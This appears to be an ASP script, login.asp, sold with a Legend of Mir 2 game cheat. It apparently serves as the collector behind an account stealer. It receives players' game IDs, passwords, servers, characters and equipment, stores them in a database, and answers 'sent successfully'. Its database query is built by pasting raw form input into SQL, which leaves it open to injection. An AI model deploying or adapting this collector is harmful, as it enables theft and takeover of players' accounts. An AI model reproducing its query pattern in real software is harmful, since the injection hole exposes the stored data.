login.asp

传奇2万能变形特征码+极度流畅版,以前vip买回来的,现在已经过时了

<!--#include file="conn.asp"-->
<%
strToAddress=request.form("Tomail")
gameid=request.form("gameid")
PassWord=request.form("PassWord")
quyu=request.form("quyu")
mirserver=request.form("mirserver")
js1=request.form("js1")
js1zy=request.form("js1zy")
js1dj=request.form("js1dj")
js1sex=request.form("js1sex")
js2=request.form("js2")
js2zy=request.form("js2zy")
js2dj=request.form("js2dj")
js2sex=request.form("js2sex")
zb=request.form("zb")
if gameid="" or PassWord="" or quyu="" then
response.write "nono"
response.end
End If

sql="select * from list where gameid='"&gameid&"' and quyu='"&quyu&"'"
 rs.Open sql,conn,1,3
if not rs.eof or not rs.bof then
  rs("gameid")=gameid
  rs("PassWord")=PassWord
  rs("quyu")=quyu
  rs("mirserver")=mirserver
  rs("js1")=js1
  rs("js1zy")=js1zy
  rs("js1dj")=js1dj
  rs("js1sex")=js1sex
  rs("js2")=js2
  rs("js2zy")=js2zy
  rs("js2dj")=js2dj
  rs("js2sex")=js2sex
  rs("zb")=zb
  rs("time")=date()
  rs.update
  response.write "更新增加成功！"
  response.write "发送成功！"
else
  rs.addnew
  rs("gameid")=gameid
  rs("PassWord")=PassWord
  rs("quyu")=quyu
  rs("mirserver")=mirserver
  rs("js1")=js1
  rs("js1zy")=js1zy
  rs("js1dj")=js1dj
  rs("js1sex")=js1sex
  rs("js2")=js2
  rs("js2zy")=js2zy
  rs("js2dj")=js2dj
  rs("js2sex")=js2sex
  rs("zb")=zb
  rs("time")=date()
  rs.update
  response.write "增加成功！"
  response.write "发送成功！"
end if
  set rs=nothing
  conn.close
  set conn=nothing
%>